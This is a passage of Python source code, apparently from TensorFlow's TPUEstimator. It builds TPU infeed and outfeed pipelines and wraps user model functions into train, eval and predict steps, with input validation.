per_host_sharded_inputs, tpu_ordinal_function=tpu_ordinal_function_impl) return per_host_enqueue_ops return enqueue_ops_fn, captured_infeed_queue def generate_per_host_enqueue_ops_fn_for_host( ctx, input_fn, inputs_structure_recorder, batch_axis, device, host_id): """Generates infeed enqueue ops for per-host input_fn on a single host.""" captured_infeed_queue = _CapturedObject() hooks = [] with ops.device(device): user_context = tpu_context.TPUContext( internal_ctx=ctx, input_device=device, invocation_index=host_id) inputs = _Inputs.from_input_fn(input_fn(user_context)) is_dataset = inputs.is_dataset if ctx.mode == model_fn_lib.ModeKeys.PREDICT: if not is_dataset: raise TypeError( 'For mode PREDICT, `input_fn` must return `Dataset` instead of ' '`features` and `labels`.') if batch_axis is not None: raise TypeError('For mode PREDICT, batch_axis is not supported yet.') inputs = _InputsWithStoppingSignals( dataset=inputs.dataset, batch_size=ctx.batch_size_for_input_fn, add_padding=True) if is_dataset: hooks.append(inputs.dataset_initializer_hook()) tpu_ordinal_function_impl = ctx.tpu_ordinal_function(host_id) def enqueue_ops_fn(): """A Fn returning the TPU infeed enqueue ops. By providing as a Fn, it can be invoked inside the tf.while_loop such that the input pipeline for multiple iterations can be executed by one Session.run call. Returns: list of dict of ops. """ with ops.device(device): num_of_replicas_per_host = ctx.num_of_replicas_per_host # Convert user input to features and labels. If the user returns a # dataset, it is initialized and the features and labels extracted via # `dataset.iterator.get_next()` features, labels = inputs.features_and_labels() signals = inputs.signals() inputs_structure_recorder.validate_and_record_structure(features, labels) unsharded_tensor_list = ( inputs_structure_recorder.flatten_features_and_labels( features, labels, signals)) infeed_queue = tpu_feed.InfeedQueue( tuple_types=[t.dtype for t in unsharded_tensor_list], tuple_shapes=[t.shape for t in unsharded_tensor_list], shard_dimensions=batch_axis) captured_infeed_queue.capture(infeed_queue) infeed_queue.set_number_of_shards(num_of_replicas_per_host) per_host_enqueue_ops = ( infeed_queue.split_inputs_and_generate_enqueue_ops( unsharded_tensor_list, placement_function=lambda x: device, tpu_ordinal_function=tpu_ordinal_function_impl)) if signals is None: return per_host_enqueue_ops else: return { 'ops': per_host_enqueue_ops, 'signals': signals, } return enqueue_ops_fn, captured_infeed_queue, hooks, is_dataset def generate_per_host_v2_enqueue_ops_fn_for_host( ctx, input_fn, inputs_structure_recorder, device, host_id): """Generates infeed enqueue ops for per-host input_fn on a single host.""" captured_infeed_queue = _CapturedObject() hooks = [] with ops.device(device): user_context = tpu_context.TPUContext( internal_ctx=ctx, input_device=device, invocation_index=host_id) inputs = _Inputs.from_input_fn(input_fn(user_context)) is_dataset = inputs.is_dataset if not is_dataset: raise TypeError('`input_fn` must return a `Dataset` for the PER_HOST_V2 ' 'input pipeline configuration.') if ctx.mode == model_fn_lib.ModeKeys.PREDICT: inputs = _InputsWithStoppingSignals( dataset=inputs.dataset, batch_size=ctx.batch_size_for_input_fn, add_padding=True, num_invocations_per_step=ctx.num_of_replicas_per_host) hooks.append(inputs.dataset_initializer_hook()) tpu_ordinal_function_impl = ctx.tpu_ordinal_function(host_id) def enqueue_ops_fn(): """Generates the per_host enqueue ops.""" control_deps = [] per_host_sharded_inputs = [] num_replicas_per_host = ctx.num_of_replicas_per_host cached_signals = None with ops.device(device): if not inputs.is_dataset: raise TypeError('`input_fn` must return a `Dataset` for this mode.') for _ in range(num_replicas_per_host): # Use control dependencies to ensure a deterministic ordering. with ops.control_dependencies(control_deps): features, labels = inputs.features_and_labels() # Calls get_next() signals = inputs.signals() # All the replicas share the replica 0's stopping singal. # This avoids inconsistent state among different model replcias. if cached_signals: signals['stopping'] = cached_signals['stopping'] else: cached_signals = signals inputs_structure_recorder.validate_and_record_structure( features, labels) flattened_inputs = ( inputs_structure_recorder.flatten_features_and_labels( features, labels, signals)) control_deps.extend(flattened_inputs) per_host_sharded_inputs.append(flattened_inputs) if inputs_structure_recorder.flattened_input_dims: input_partition_dims = inputs_structure_recorder.flattened_input_dims if signals: input_partition_dims += [None] * len(signals) # pylint: disable=protected-access infeed_queue = tpu_feed._PartitionedInfeedQueue( number_of_tuple_elements=len(per_host_sharded_inputs[0]), host_id=host_id, input_partition_dims=input_partition_dims, device_assignment=ctx.device_assignment) per_host_enqueue_ops = infeed_queue.generate_enqueue_ops( per_host_sharded_inputs) else: infeed_queue = tpu_feed.InfeedQueue( number_of_tuple_elements=len(per_host_sharded_inputs[0])) per_host_enqueue_ops = infeed_queue.generate_enqueue_ops( per_host_sharded_inputs, tpu_ordinal_function=tpu_ordinal_function_impl) captured_infeed_queue.capture(infeed_queue) if signals is None: return per_host_enqueue_ops else: return { 'ops': per_host_enqueue_ops, 'signals': signals, } return enqueue_ops_fn, captured_infeed_queue, hooks, is_dataset def generate_broadcast_enqueue_ops_fn(ctx, input_fn, inputs_structure_recorder, num_hosts): """Generates infeed enqueue ops for one input_fn on all the hosts.""" captured_infeed_queue = _CapturedObject() hooks = [] device_0 = ctx.tpu_host_placement_function(host_id=0) with ops.device(device_0): user_context = tpu_context.TPUContext( internal_ctx=ctx, input_device=device_0, invocation_index=0) inputs = _Inputs.from_input_fn(input_fn(user_context)) is_dataset = inputs.is_dataset if ctx.mode == model_fn_lib.ModeKeys.PREDICT: if not is_dataset: raise TypeError( 'For mode PREDICT, `input_fn` must return `Dataset` instead of ' '`features` and `labels`.') inputs = _InputsWithStoppingSignals( dataset=inputs.dataset, batch_size=ctx.batch_size_for_input_fn, add_padding=True) if is_dataset: hooks.append(inputs.dataset_initializer_hook()) num_replicas_per_host = ctx.num_of_replicas_per_host def tpu_ordinal_function_impl(replica_id): if ctx.device_assignment: return ctx.device_assignment.tpu_ordinal(replica=replica_id) else: return replica_id % num_replicas_per_host def device_function_impl(replica_id): return ctx.tpu_host_placement_function(replica_id=replica_id) def enqueue_ops_fn(): """Generates enqueue ops for all the hosts.""" broadcasted_inputs = [] flattened_inputs = None # Cache result from input_fn. signals = None for host_id in xrange(num_hosts): with ops.device(ctx.tpu_host_placement_function(host_id=host_id)): for _ in xrange(ctx.num_of_replicas_per_host): # Note: input_fn is only called once at host 0 for the first replica. # The features and labels returned from that invocation are # broadcasted to other replicas(including the replicas on other # hosts). if flattened_inputs is None: features, labels = inputs.features_and_labels() # Calls get_next() signals = inputs.signals() inputs_structure_recorder.validate_and_record_structure( features, labels) flattened_inputs = ( inputs_structure_recorder.flatten_features_and_labels( features, labels, signals)) broadcasted_inputs.append(flattened_inputs) infeed_queue = tpu_feed.InfeedQueue( number_of_tuple_elements=len(broadcasted_inputs[0])) captured_infeed_queue.capture(infeed_queue) enqueue_ops = infeed_queue.generate_enqueue_ops( broadcasted_inputs, tpu_ordinal_function=tpu_ordinal_function_impl, placement_function=device_function_impl) if signals is None: return enqueue_ops else: return { 'ops': enqueue_ops, 'signals': signals, } return enqueue_ops_fn, captured_infeed_queue, hooks, is_dataset class _InputPipeline(object): """`_InputPipeline` handles invoking `input_fn` and piping to infeed queue. `_InputPipeline` abstracts the per-core/per-host `input_fn` invocation from call site. To be precise, based on the configuration in `_InternalTPUContext`, it invokes `input_fn` for all cores (usually multi-host TPU training) or for one host (usually for single-host TPU evaluation), and sends all `features` and `labels` returned by `input_fn` to TPU infeed. For per-core invocation, `features` and `labels` are piped to infeed directly, one tuple for each core. For per-host invocation, `features` and `labels` are split at host (with respect to `batch_axis`) and piped to all cores accordingly. In addition, flatten/unflatten are handled by `_InputPipeline` also. Model inputs returned by the `input_fn` can have one of the following forms: 1. features 2. (features, labels) 3. ((arbitrarily nested structure of features), labels) Internally, form 1 is reformed to `(features, None)` as features and labels are passed separately to underlying methods. For TPU training, TPUEstimator may expect multiple `features` and `labels` tuples one for each core. TPUEstimator allows various different structures for inputs (namely `features` and `labels`). `features` can be `Tensor`, dict of string name to `Tensor`, or nested tuples and `labels` could be `None`, `Tensor`, or dict of string name to `Tensor`. TPU infeed/outfeed library expects flattened tensor list. So, `features` and `labels` need to be flattened, before infeed enqueue, and the structure of them needs to be recorded, in order to restore them after infeed dequeue. """ class InputsStructureRecorder(object): """The recorder to record inputs structure.""" def __init__(self, input_partition_dims=None): # Holds the structure of inputs self._feature_structure = {} self._flattened_input_dims = None if input_partition_dims: # This should have been validated in TPUConfig. assert len(input_partition_dims) <= 2, 'must have 1 or 2 elements.' if len(input_partition_dims) == 2: self._feature_dims, self._label_dims = input_partition_dims else: self._feature_dims = input_partition_dims[0] self._label_dims = None assert self._feature_dims is not None, ('input_partition_dims[0] must ' 'not be None') else: self._feature_dims = None self._label_dims = None # Internal state. self._initialized = False @property def flattened_input_dims(self): assert self._initialized, 'InputsStructureRecorder is not initialized.' return self._flattened_input_dims def has_labels(self): return 'labels' in self._feature_structure def _flatten_input_dims(self, feature_dims, feature_dims_names, label_dims, label_dims_names, label_names, has_labels): """Flatten input dims with the same order as flattened input tensors.""" flattened_input_dims = [] if feature_dims_names: # We need a fixed ordering for matching the tensors in features. flattened_input_dims.extend( [feature_dims[name] for name in feature_dims_names]) else: flattened_input_dims.append(feature_dims) if label_dims_names: # We need a fixed ordering for matching the tensors in labels. flattened_input_dims.extend( [label_dims[name] for name in label_dims_names]) else: if label_names: num_tensors_in_label = len(label_names) else: num_tensors_in_label = int(has_labels) # Setting `None` in input_partition_dims[1] will apply `None` to # all the tensors in labels, regardless of internal structure. flattened_input_dims.extend([label_dims] * num_tensors_in_label) return flattened_input_dims def validate_and_record_structure(self, features, labels): """Validates and records the structure of `features` and `labels`.""" # Extract structure. has_labels = labels is not None feature_names = _extract_key_names(features) label_names = _extract_key_names(labels) if not self._initialized: # Record structure. self._initialized = True if self._feature_dims is not None: feature_dims_names = _extract_key_names(self._feature_dims) if feature_dims_names != feature_names: raise ValueError( 'TPUConfig.input_partition_dims[0] mismatched feature' ' keys. Expected {}, got {}'.format(feature_names, feature_dims_names)) label_dims_names = _extract_key_names(self._label_dims) if self._label_dims is not None and label_dims_names != label_names: raise ValueError( 'TPUConfig.input_partition_dims[1] mismatched label' ' keys. Expected {}, got {}'.format(label_names, label_dims_names)) self._flattened_input_dims = self._flatten_input_dims( self._feature_dims, feature_dims_names, self._label_dims, label_dims_names, label_names, has_labels) def flatten_features_and_labels(self, features, labels, signals=None): """Flattens the `features` and `labels` to a single tensor list.""" self._feature_structure['features'] = features if labels is not None: self._feature_structure['labels'] = labels if signals is not None: self._feature_structure['signals'] = signals return data_nest.flatten(self._feature_structure) def unflatten_features_and_labels(self, flattened_inputs): """Restores the flattened inputs to original features and labels form. Args: flattened_inputs: Flattened inputs for each shard. Returns: A tuple of (`features`, `labels`), where `labels` could be None. Each one, if present, should have identical structure (single tensor vs dict) as the one returned by input_fn. Raises: ValueError: If the number of expected tensors from `flattened_inputs` mismatches the recorded structure. """ unflattened_inputs = data_nest.pack_sequence_as(self._feature_structure, flattened_inputs) return _Inputs( unflattened_inputs['features'], unflattened_inputs.get('labels'), signals=unflattened_inputs.get('signals')) def __init__(self, input_fn, batch_axis, ctx): """Constructor. Args: input_fn: input fn for train or eval. batch_axis: A python tuple of int values describing how each tensor produced by the Estimator `input_fn` should be split across the TPU compute shards. ctx: A `_InternalTPUContext` instance with mode. Raises: ValueError: If both `sharded_features` and `num_cores` are `None`. """ self._inputs_structure_recorder = _InputPipeline.InputsStructureRecorder( ctx.input_partition_dims) self._sharded_per_core = ctx.is_input_sharded_per_core() self._input_fn = input_fn self._infeed_queue = None self._ctx = ctx self._batch_axis = batch_axis def generate_infeed_enqueue_ops_and_dequeue_fn(self): """Generates infeed enqueue ops and dequeue_fn.""" # While tf.while_loop is called, the body function, which invokes # `enqueue_fn` passed in, is called to construct the graph. So, input_fn # structure is recorded. enqueue_ops, all_hooks, run_infeed_loop_on_coordinator = ( self._invoke_input_fn_and_record_structure()) self._validate_input_pipeline() def dequeue_fn(): """dequeue_fn is used by TPU to retrieve the tensors.""" # In the model-parallel case, both the host-side and device-side # computations must agree on the core on which infeed takes place. We # choose to perform infeed on logical core 0 of each replica. values = self._infeed_queue.generate_dequeue_op(tpu_device=0) # The unflatten process uses the structure information recorded above. return self._inputs_structure_recorder.unflatten_features_and_labels( values) return (enqueue_ops, dequeue_fn, all_hooks, run_infeed_loop_on_coordinator) def _invoke_input_fn_and_record_structure(self): """Deploys the input pipeline and record input structure.""" enqueue_ops = [] infeed_queues = [] all_hooks = [] num_hosts = self._ctx.num_hosts tpu_host_placement_fn = self._ctx.tpu_host_placement_function run_infeed_loop_on_coordinator = True if self._sharded_per_core: # Per-Core input pipeline deployment. # Invoke input pipeline for each core and placed on the corresponding # host. for host_id in range(num_hosts): host_device = tpu_host_placement_fn(host_id=host_id) with ops.device(host_device): with ops.name_scope('input_pipeline_task%d' % (host_id)): enqueue_ops_fn, captured_infeed_queue = ( generate_per_core_enqueue_ops_fn_for_host( self._ctx, self._input_fn, self._inputs_structure_recorder, host_device, host_id)) if _WRAP_INPUT_FN_INTO_WHILE_LOOP: run_infeed_loop_on_coordinator = False enqueue_ops.append( _wrap_computation_in_while_loop( device=host_device, op_fn=enqueue_ops_fn)) else: enqueue_ops.append(enqueue_ops_fn()) # Infeed_queue_getter must be called after enqueue_ops_fn is called. infeed_queues.append(captured_infeed_queue.get()) elif self._ctx.is_input_broadcast_with_iterators(): # Only calls input_fn in host 0. host_device = tpu_host_placement_fn(host_id=0) enqueue_ops_fn, captured_infeed_queue, hooks, is_dataset = ( generate_broadcast_enqueue_ops_fn(self._ctx, self._input_fn, self._inputs_structure_recorder, num_hosts)) all_hooks.extend(hooks) if is_dataset: run_infeed_loop_on_coordinator = False wrap_fn = ( _wrap_computation_in_while_loop if self._ctx.mode != model_fn_lib.ModeKeys.PREDICT else _wrap_computation_in_while_loop_with_stopping_signals) enqueue_ops.append(wrap_fn(device=host_device, op_fn=enqueue_ops_fn)) else: enqueue_ops.append(enqueue_ops_fn()) infeed_queues.append(captured_infeed_queue.get()) else: for host_id in range(num_hosts): host_device = tpu_host_placement_fn(host_id=host_id) with ops.device(host_device): with ops.name_scope('input_pipeline_task%d' % (host_id)): if self._ctx.is_input_per_host_with_iterators(): enqueue_ops_fn, captured_infeed_queue, hooks, is_dataset = ( generate_per_host_v2_enqueue_ops_fn_for_host( self._ctx, self._input_fn, self._inputs_structure_recorder, host_device, host_id)) else: enqueue_ops_fn, captured_infeed_queue, hooks, is_dataset = ( generate_per_host_enqueue_ops_fn_for_host( self._ctx, self._input_fn, self._inputs_structure_recorder, self._batch_axis, host_device, host_id)) all_hooks.extend(hooks) # NOTE(xiejw): We dispatch here based on the return type of the # users `input_fn`. # # 1. If input_fn returns a Dataset instance, we initialize the # iterator outside of tf.while_loop, and call the iterator.get_next # inside tf.while_loop. This should be always safe. # # 2. If input_fn returns (features, labels), it is too late to wrap # them inside tf.while_loop, as resource initialization cannot be # handled in TF control flow properly. In this case, we will use # python loop to enqueue the data into TPU system. This may be # slow compared to the previous case. if is_dataset: run_infeed_loop_on_coordinator = False wrap_fn = ( _wrap_computation_in_while_loop if self._ctx.mode != model_fn_lib.ModeKeys.PREDICT else _wrap_computation_in_while_loop_with_stopping_signals) enqueue_ops.append( wrap_fn(device=host_device, op_fn=enqueue_ops_fn)) else: enqueue_ops.append(enqueue_ops_fn()) infeed_queues.append(captured_infeed_queue.get()) # infeed_queue is used to generate dequeue ops. The only thing it uses for # dequeue is dtypes and types. So, any one can be used. Here, grab the # first one. self._infeed_queue = infeed_queues[0] return enqueue_ops, all_hooks, run_infeed_loop_on_coordinator def _validate_input_pipeline(self): """Validates the input pipeline. Perform some sanity checks to log user friendly information. We should error out to give users better error message. But, if _WRAP_INPUT_FN_INTO_WHILE_LOOP is False (legacy behavior), we cannot break user code, so, log a warning. Raises: RuntimeError: If the validation failed. """ if ops.get_default_graph().get_collection(ops.GraphKeys.QUEUE_RUNNERS): err_msg = ('Input pipeline contains one or more QueueRunners. ' 'It could be slow and not scalable. Please consider ' 'converting your input pipeline to use `tf.data` instead (see ' 'https://www.tensorflow.org/guide/datasets for ' 'instructions.') if _WRAP_INPUT_FN_INTO_WHILE_LOOP: raise RuntimeError(err_msg) else: logging.warn(err_msg) class _ModelFnWrapper(object): """A `model_fn` wrapper. This makes calling model_fn on CPU and TPU easier and more consistent and performs necessary check and mutation required by TPU training and evaluation. In addition, this wrapper manages converting the `model_fn` to a single TPU train and eval step. """ def __init__(self, model_fn, train_cache_fn, eval_cache_fn, config, params, ctx): self._model_fn = model_fn self._train_cache_fn = train_cache_fn self._eval_cache_fn = eval_cache_fn self._config = config self._params = params self._ctx = ctx def call_without_tpu(self, features, labels, is_export_mode): return self._call_model_fn(features, labels, is_export_mode=is_export_mode) def convert_to_single_tpu_train_step(self, dequeue_fn): """Converts user provided model_fn` as a single train step on TPU. The user provided `model_fn` takes input tuple (features, labels) and produces the EstimatorSpec with train_op and loss for train `mode`. This usually represents a single train computation on CPU. For TPU training, a train (computation) step is first wrapped in a tf.while_loop control flow to repeat for many times and then replicated to all TPU shards. Besides the input should be taken from TPU infeed rather than input pipeline (input_fn) directly. To fit TPU loop and replicate pattern, the original train computation should be reformed, which is the returned `train_step`. Args: dequeue_fn: The function to retrieve inputs, features and labels, from TPU infeed dequeue channel. Returns: A tuple of train_fn, host_calls, and captured scaffold_fn. The train_fn representing the train step for TPU. """ host_call = _OutfeedHostCall(self._ctx) captured_scaffold_fn = _CapturedObject() captured_training_hooks = _CapturedObject() def train_step(loss, *cache): """Training step function for use inside a while loop.""" if not self._params.get('track_mean', False): del loss # unused; required in function signature. inputs = dequeue_fn() features, labels = inputs.features_and_labels() # Consume the current cache estimator_spec = self._verify_estimator_spec( self._call_model_fn(features, labels, cache=cache)) # Retrieve the new returned cache """ `cache` consists of a list of tensors, potentially empty (of length 0) """ cache = estimator_spec.cache new_loss, train_op = estimator_spec.loss, estimator_spec.train_op if isinstance(estimator_spec, model_fn_lib._TPUEstimatorSpec): # pylint: disable=protected-access captured_scaffold_fn.capture(estimator_spec.scaffold_fn) else: captured_scaffold_fn.capture(None) captured_training_hooks.capture(estimator_spec.training_hooks) # We must run train_op to update the variables prior to running the # outfeed. with ops.control_dependencies([train_op]): host_call_outfeed_ops = [] if (isinstance(estimator_spec, model_fn_lib._TPUEstimatorSpec) # pylint: disable=protected-access and estimator_spec.host_call is not None): host_call.record({'host_call': estimator_spec.host_call}) host_call_outfeed_ops = host_call.create_enqueue_op() with ops.control_dependencies(host_call_outfeed_ops): if self._params.get('track_mean', False): loss = tensorflow.stop_gradient(loss) return [math_ops.add(loss, new_loss)] + cache else: return [array_ops.identity(new_loss)] + cache return (train_step, host_call, captured_scaffold_fn, captured_training_hooks) def convert_to_single_tpu_eval_step(self, dequeue_fn): """Converts user provided model_fn` as a single eval step on TPU. Similar to training, the user provided `model_fn` takes input tuple (features, labels) and produces the TPUEstimatorSpec with eval_metrics for eval `mode`. This usually represents a single evaluation computation on CPU. For TPU evaluation, a eval (computation) step is first wrapped in a tf.while_loop control flow to repeat for many times and then replicated to all TPU shards. Besides the input and output are slightly different. Input, features and labels, should be taken from TPU infeed rather than input pipeline (input_fn) directly. Output is managed in two stages. First, the model outputs as the result of evaluation computation, usually model logits, should be transferred from TPU system to CPU. Then, all model outputs are concatenated first on CPU and sent to the metric_fn for metrics computation. To fit TPU evaluation pattern, the original eval computation should be reformed, which is the returned `eval_step`. Args: dequeue_fn: The function to retrieve inputs, features and labels, from TPU infeed dequeue channel. Returns: A tuple of eval_fn, host_calls, and captured scaffold_fn. The eval_fn representing the eval step for TPU. """ host_calls = _OutfeedHostCall(self._ctx) captured_scaffold_fn = _CapturedObject() captured_eval_hooks = _CapturedObject() def eval_step(total_loss, *cache): """Evaluation step function for use inside a while loop.""" inputs = dequeue_fn() features, labels = inputs.features_and_labels() # Consume the current cache tpu_estimator_spec = self._call_model_fn(features, labels, cache=cache) if not isinstance(tpu_estimator_spec, model_fn_lib._TPUEstimatorSpec): # pylint: disable=protected-access raise RuntimeError( 'estimator_spec used by TPU evaluation must have type' '`TPUEstimatorSpec`. Got {}'.format(type(tpu_estimator_spec))) # Retrieve the new returned cache cache = tpu_estimator_spec.cache loss = tpu_estimator_spec.loss captured_scaffold_fn.capture(tpu_estimator_spec.scaffold_fn) captured_eval_hooks.capture(tpu_estimator_spec.evaluation_hooks) to_record = {} if tpu_estimator_spec.eval_metrics: to_record['eval_metrics'] = tpu_estimator_spec.eval_metrics if tpu_estimator_spec.host_call is not None: # We assume that evaluate won't update global step, so we don't wrap # this host_call. to_record['host_call'] = tpu_estimator_spec.host_call host_calls.record(to_record) with ops.control_dependencies(host_calls.create_enqueue_op()): return [math_ops.add(total_loss, loss)] + cache return eval_step, host_calls, captured_scaffold_fn, captured_eval_hooks def convert_to_single_tpu_predict_step(self, dequeue_fn): """Converts user provided model_fn` as a single predict step on TPU. Args: dequeue_fn: The function to retrieve inputs, features and labels, from TPU infeed dequeue channel. Returns: A tuple of predict_fn, host_calls, and captured scaffold_fn. The predict_fn representing the predict step for TPU. """ host_calls = _OutfeedHostCall(self._ctx) captured_scaffold_fn = _CapturedObject() captured_predict_hooks = _CapturedObject() def predict_step(unused_scalar_stopping_signal): """Evaluation step function for use inside a while loop.""" inputs = dequeue_fn() features, labels = inputs.features_and_labels() stopping_signals = inputs.signals() assert stopping_signals is not None, ( 'Internal Error: `signals` is missing.') tpu_estimator_spec = self._call_model_fn( features, labels, is_export_mode=False) if not isinstance(tpu_estimator_spec, model_fn_lib._TPUEstimatorSpec): # pylint: disable=protected-access raise RuntimeError( 'estimator_spec used by TPU prediction must have type' '`TPUEstimatorSpec`. Got {}'.format(type(tpu_estimator_spec))) self._verify_tpu_spec_predictions(tpu_estimator_spec.predictions) captured_scaffold_fn.capture(tpu_estimator_spec.scaffold_fn) captured_predict_hooks.capture(tpu_estimator_spec.prediction_hooks) to_record = {} identity_fn = lambda **kwargs: kwargs to_record['predictions'] = [identity_fn, tpu_estimator_spec.predictions] to_record['signals'] = [identity_fn, stopping_signals] if tpu_estimator_spec.host_call is not None: to_record['host_call'] = tpu_estimator_spec.host_call host_calls.record(to_record) with ops.control_dependencies(host_calls.create_enqueue_op()): return _StopSignals.as_scalar_stopping_signal(stopping_signals) return (predict_step, host_calls, captured_scaffold_fn, captured_predict_hooks) def _verify_tpu_spec_predictions(self, predictions): """Validates TPUEstimatorSpec.predictions dict.""" # TODO(xiejw): Adds validation for prediction dictionrary. # TODO(xiejw): Adds support for single tensor as predictions. if not isinstance(predictions, dict): raise TypeError('TPUEstimatorSpec.predictions must be dict of Tensors.') for (key, tensor) in predictions.items(): if tensor.shape[0].value is None: raise ValueError( 'The tensor with key ({}) in TPUEstimatorSpec.predictions has ' 'dynamic shape (should be static). Tensor: {}'.format( key, tensor)) return predictions def _validate_model_features_and_labels(self, features, labels, is_export_mode): """Validates that the features and labels for the model function are valid. A valid features/labels object is the one with: - Type: Tensor or a dictionary of Tensors - Static shape if is_export_mode is False. Args: features: the features that would be input to the model function. labels: the labels that would be input to the model function. is_export_mode: boolean value specifying if in export mode. Raises: TypeError: If features/labels are not of the correct type. ValueError: If features/labels have dynamic shape. """ def validate(obj, obj_name): """Helper validate function.""" if not isinstance(obj, ops.Tensor) and not isinstance(obj, dict): raise TypeError( 'The {} to the model returned by input_fn must be either a Tensor ' 'or a dictionary of Tensors. {}: {}'.format(obj_name, obj_name, obj)) if is_export_mode or self._ctx.is_running_on_cpu(is_export_mode): return if isinstance(obj, ops.Tensor): if not obj.get_shape().is_fully_defined(): raise ValueError( 'The {} to the model returned by input_fn must have static shape.' ' Tensor: {}'.format(obj_name, obj)) else: for (key, value) in obj.items(): flattened_tensors = data_nest.flatten(value) for tensor in flattened_tensors: if not tensor.get_shape().is_fully_defined(): raise ValueError( 'The {} to the model returned by input_fn must have static ' 'shape. Key: \'{}\', Tensor: {}'.format( obj_name, key, tensor)) validate(features, 'features') if labels is not None: validate(labels, 'labels') def _call_model_fn(self, features, labels, cache=None, is_export_mode=False): """Calls the model_fn with required parameters.""" self._validate_model_features_and_labels(features, labels, is_export_mode) model_fn_args = function_utils.fn_args(self._model_fn) kwargs = {} # Makes deep copy with `config` and params` in case user mutates them. config = copy.deepcopy(self._config) params = copy.deepcopy(self._params) if 'labels' in model_fn_args: kwargs['labels'] = labels elif labels is not None: raise ValueError( 'model_fn does not take labels, but input_fn returns labels.') if 'mode' in model_fn_args: kwargs['mode'] = self._ctx.mode if 'config' in model_fn_args: kwargs['config'] = config if 'params' in model_fn_args: kwargs['params'] = params if cache is not None: params['cache'] = cache if 'params' not in model_fn_args: raise ValueError('model_fn ({}) does not include params argument, ' 'required by TPUEstimator to pass batch size as ' 'params[\'batch_size\']'.format(self._model_fn)) if is_export_mode: batch_size_for_model_fn = None else: batch_size_for_model_fn = self._ctx.batch_size_for_model_fn if batch_size_for_model_fn is not None: _add_item_to_params(params, _BATCH_SIZE_KEY, batch_size_for_model_fn) running_on_cpu = self._ctx.is_running_on_cpu(is_export_mode) _add_item_to_params(params, _USE_TPU_KEY, not running_on_cpu) if not running_on_cpu: user_context = tpu_context.TPUContext( internal_ctx=self._ctx, call_from_input_fn=False) _add_item_to_params(params, _CTX_KEY, user_context) estimator_spec = self._model_fn(features=features, **kwargs) if (running_on_cpu and isinstance(estimator_spec, model_fn_lib._TPUEstimatorSpec)): # pylint: disable=protected-access # The estimator_spec will be passed to `Estimator` directly, which expects # type `EstimatorSpec`. return estimator_spec.as_estimator_spec() else: return estimator_spec def _verify_estimator_spec(self, estimator_spec): """Validates the estimator_spec.""" if isinstance(estimator_spec, model_fn_lib._TPUEstimatorSpec): # pylint: disable=protected-access return estimator_spec err_msg = '{} returned by EstimatorSpec is not supported in TPUEstimator.' if estimator_spec.training_chief_hooks: raise ValueError( err_msg.format('training_chief_hooks') + 'If you want' + ' to pass training hooks, please pass via training_hooks.') if estimator_spec.scaffold: logging.warning('EstimatorSpec.Scaffold is ignored by TPU train/eval. ' 'Please use TPUEstimatorSpec.') return estimator_spec class _OutfeedHostCall(object): """Support for `eval_metrics` and `host_call` in TPUEstimatorSpec.""" def __init__(self, ctx): self._ctx = ctx self._names = [] # All of these are dictionaries of lists keyed on the name. self._host_fns = {} self._tensor_keys = collections.defaultdict(list) self._tensors = collections.defaultdict(list) self._tensor_dtypes = collections.defaultdict(list) self._tensor_shapes = collections.defaultdict(list) @staticmethod def validate(host_calls): """Validates the `eval_metrics` and `host_call` in `TPUEstimatorSpec`.""" for name, host_call in host_calls.items(): if not isinstance(host_call, (tuple, list)): raise ValueError('{} should be tuple or list'.format(name)) if len(host_call) != 2: raise ValueError('{} should have two elements.'.format(name)) if not callable(host_call[0]): raise TypeError('{}[0] should be callable.'.format(name)) if not isinstance(host_call[1], (tuple, list, dict)): raise ValueError('{}[1] should be tuple or list, or dict.'.format(name)) if isinstance(host_call[1], (tuple, list)): fullargspec = tf_inspect.getfullargspec(host_call[0]) fn_args = function_utils.fn_args(host_call[0]) # wrapped_hostcall_with_global_step uses varargs, so we allow that. if fullargspec.varargs is None and len(host_call[1]) != len(fn_args): raise RuntimeError( 'In TPUEstimatorSpec.{}, length of tensors {} does not match ' 'method args of the function, which takes {}.'.format( name, len(host_call[1]), len(fn_args))) @staticmethod def create_cpu_hostcall(host_calls): """Runs on the host_call on CPU instead of TPU when use_tpu=False.""" _OutfeedHostCall.validate(host_calls) ret = {} for name, host_call in host_calls.items(): host_fn, tensors = host_call if isinstance(tensors, (tuple, list)): ret[name] = host_fn(*tensors) else: # Must be dict. try: ret[name] = host_fn(**tensors) except TypeError as e: logging.warning( 'Exception while calling %s: %s. It is likely the tensors ' '(%s[1]) do not match the ' 'function\'s arguments', name, e, name) raise e return ret def record(self, host_calls): """Records the host_call structure.""" for name, host_call in host_calls.items(): host_fn, tensor_list_or_dict = host_call self._names.append(name) self._host_fns[name] = host_fn if isinstance(tensor_list_or_dict, dict): for (key, tensor) in six.iteritems(tensor_list_or_dict): self._tensor_keys[name].append(key) self._tensors[name].append(tensor) self._tensor_dtypes[name].append(tensor.dtype) self._tensor_shapes[name].append(tensor.shape) else: # List or tuple. self._tensor_keys[name] = None for tensor in tensor_list_or_dict: self._tensors[name].append(tensor) self._tensor_dtypes[name].append(tensor.dtype) self._tensor_shapes[name].append(tensor.shape) def create_enqueue_op(self): """Create the op to enqueue the recorded host_calls. Returns: A list of enqueue ops, which is empty if there are no host calls. """ if not self._names: return [] tensors = [] # TODO(jhseu): Consider deduping tensors. for name in self._names: tensors.extend(self._tensors[name]) with ops.device(tpu.core(0)): return [tpu_ops.outfeed_enqueue_tuple(tensors)] def create_tpu_hostcall(self): """Sends the tensors through outfeed and runs the host_fn on CPU. The tensors are concatenated along dimension 0 to form a global tensor across all shards. The concatenated function is passed to the host_fn and executed on the first host. Returns: A dictionary mapping name to the return type of the host_call by that name. Raises: RuntimeError: If outfeed tensor is scalar. """ if not self._names: return {} ret = {} # For each i, dequeue_ops[i] is a list containing the tensors from all # shards. This list is concatenated later. dequeue_ops = [] tensor_dtypes = [] tensor_shapes = [] for name in self._names: for _ in self._tensors[name]: dequeue_ops.append([]) for dtype in self._tensor_dtypes[name]: tensor_dtypes.append(dtype) for shape in self._tensor_shapes[name]: tensor_shapes.append(shape) # Outfeed ops execute on each replica's first logical core. Note: we must # constraint it such that we have at most one outfeed dequeue and enqueue # per replica. for i in xrange(self._ctx.num_replicas): host_device, ordinal_id = self._ctx.device_for_replica(i) with ops.device(host_device): outfeed_tensors = tpu_ops.outfeed_dequeue_tuple( dtypes=tensor_dtypes, shapes=tensor_shapes, device_ordinal=ordinal_id) for j, item in enumerate(outfeed_tensors): dequeue_ops[j].append(item) # Deconstruct dequeue ops. dequeue_ops_by_name = {} pos = 0 for name in self._names: dequeue_ops_by_name[name] = dequeue_ops[pos:pos+len(self._tensors[name])] pos += len(self._tensors[name]) # It is assumed evaluation always happens on single host TPU 